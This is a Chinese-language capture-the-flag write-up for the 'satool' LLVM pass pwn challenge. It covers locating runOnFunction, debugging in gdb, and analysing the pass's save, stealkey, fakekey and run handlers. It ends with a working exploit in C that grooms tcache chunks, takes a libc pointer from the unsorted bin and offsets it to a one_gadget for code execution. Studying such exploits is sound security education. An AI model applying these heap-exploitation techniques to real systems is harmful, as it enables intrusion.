satool2021
程序分析
找到runOnFunction
做这类llvm pwn题目一般我们需要先找到程序的runOnFunction函数,而runOnFunction函数一般在vtable的最后一个。
首先我们进入start函数,
找到这里的sub_1930,跟进一下
这个函数应该就是创建对象了,跟进off_203D30
找到了vtable,而sub_19D0应该就是对应的function函数了。
这里介绍找runOnFunction的一种方法,其实我们也可以把那几个函数每个都看一下,发现只有后两个代码巨多,大概就能锁定了。
程序流程分析
程序首先调用getName函数,然后if判断函数名是否为B4ckDo0r以及v3==8,这里v3并没有事先赋值,所以看一下汇编代码这个v3是哪个寄存器。
可以看到这里比较rdx是否为8,因此这里的v3应该是rdx寄存器的值,那么rdx到底存了什么呢?我们动态调试看一下,这里顺便说一下动态调试的步骤。
我们先写一个test.c
#include <stdio.h>
void save(){
}
int B4ckDo0r(){
save();
return 0;
}
gdb opt
set args -load ./SAPass.so -SAPass ./test.ll
b main
r
运行起来之后,需要一路ni步过跑掉刚开始的一大堆函数
跑完之后vmmap
发现.so文件加载了。此时用第一个.so的基地址加上偏移即可下断点。
成功进入function函数。
然后我们进入getName函数中看看。
发现在函数末尾给rdx赋值,这里由于首先识别的函数是save函数,所以rdx为4,因此可以知道rdx存的是函数名的长度。接着执行
rax存储函数名,这么一来if里的两个比较就容易理解了。接着执行
发现由于rdx==4,所以直接跳到了结束,因此我们也可以得出以B4ckDo0r命名的函数才是主函数。接着执行,然后就会识别下一个函数,也就是B4ckDo0r。那么if就会成立。
在走到0x1a9e这里,又会调用getName函数,发现这里载入的函数名是save,也就是我们在B4ckDo0r里调用的函数。
然后进入0x1b48比较函数
相同则进入对应操作。ok,接着分析程序。
save函数
这里直接看save函数最后的关键代码。在234行判断save传入参数是否为2,由此我们推断save的参数是两个。在272,273行分别将v25,v30(一参,二参)放入,然后创建0x20大小的堆块,通过memcpy将参数放入堆块,heap_ptr指向创建的堆块。
调试一下
#include <stdio.h>
void save(char *a, char *b){
}
int B4ckDo0r(){
save("a", "b");
return 0;
}
走到这里创建一个堆块。
这里将heap_ptr指向堆块
确实写入了参数。
takeaway函数
takeaway传入参数个数为1,在最后heap_ptr = heap_ptr[2],将heap_ptr[2]给free掉。
stealkey函数
将*heap_ptr(也就是save函数传入的一参)赋值给byte_204100。
调试一下
#include <stdio.h>
void save(char *a, char *b){
}
void stealkey(){
printf("abcdef");
}
int B4ckDo0r(){
save("a", "b");
stealkey();
return 0;
}
成功写入。
fakekey函数
getSExtValue函数是将参数转换为一个带符号整数,这里我们推断需要传入一个数。
调试验证一下
#include <stdio.h>
void save(char *a, char *b){
}
void stealkey(){
printf("abcdef");
}
void fakekey(int d){
printf("asasas");
}
int B4ckDo0r(){
save("a", "b");
stealkey();
fakekey(-0x100000);
return 0;
}
修改前
修改后
看到确实-0x100000。
run函数
就是直接调用*heap_ptr(save的一参)。
漏洞利用
save函数传入两个参数,heap_ptr指向创建的堆块
stealkey函数将save的第一个参数(*heap_ptr)传给byte_204100
fakekey函数将byte_204100和*heap_ptr加上fakekey的参数
run函数执行*heap_ptr
因此我们可以通过fakekey修改*heap_ptr为gadget,然后run函数执行。不过我们需要先将save的一参,即*heap_ptr放一个libc的地址
查看bin后发现unsortedbin中有chunk,那么我们可以先将tcachbin里的0x20的chunk申请出来,然后再申请就能放入libc的地址了。 我这里用的libc-2.27。
0x7ffff3622cb0-0x7ffff3237000=0x3ebcb0
0x3ebcb0-4f302=0x39c9ae
exp:
#include <stdio.h>
void save(char* a, char* b){printf("1");}
void takeaway(char* a){printf("2");}
void stealkey(){printf("3");}
void fakekey(int d){printf("4");}
void run(){printf("5");}
int B4ckDo0r(){
save("KingKi1L3r","KingKi1L3r");
save("KingKi1L3r","KingKi1L3r");
save("KingKi1L3r","KingKi1L3r");
save("KingKi1L3r","KingKi1L3r");
save("KingKi1L3r","KingKi1L3r");
save("KingKi1L3r","KingKi1L3r");
save("KingKi1L3r","KingKi1L3r");
save("\x00","KingKi1L3r");
stealkey();
fakekey(-0x39c9ae);
run();
return 0;
}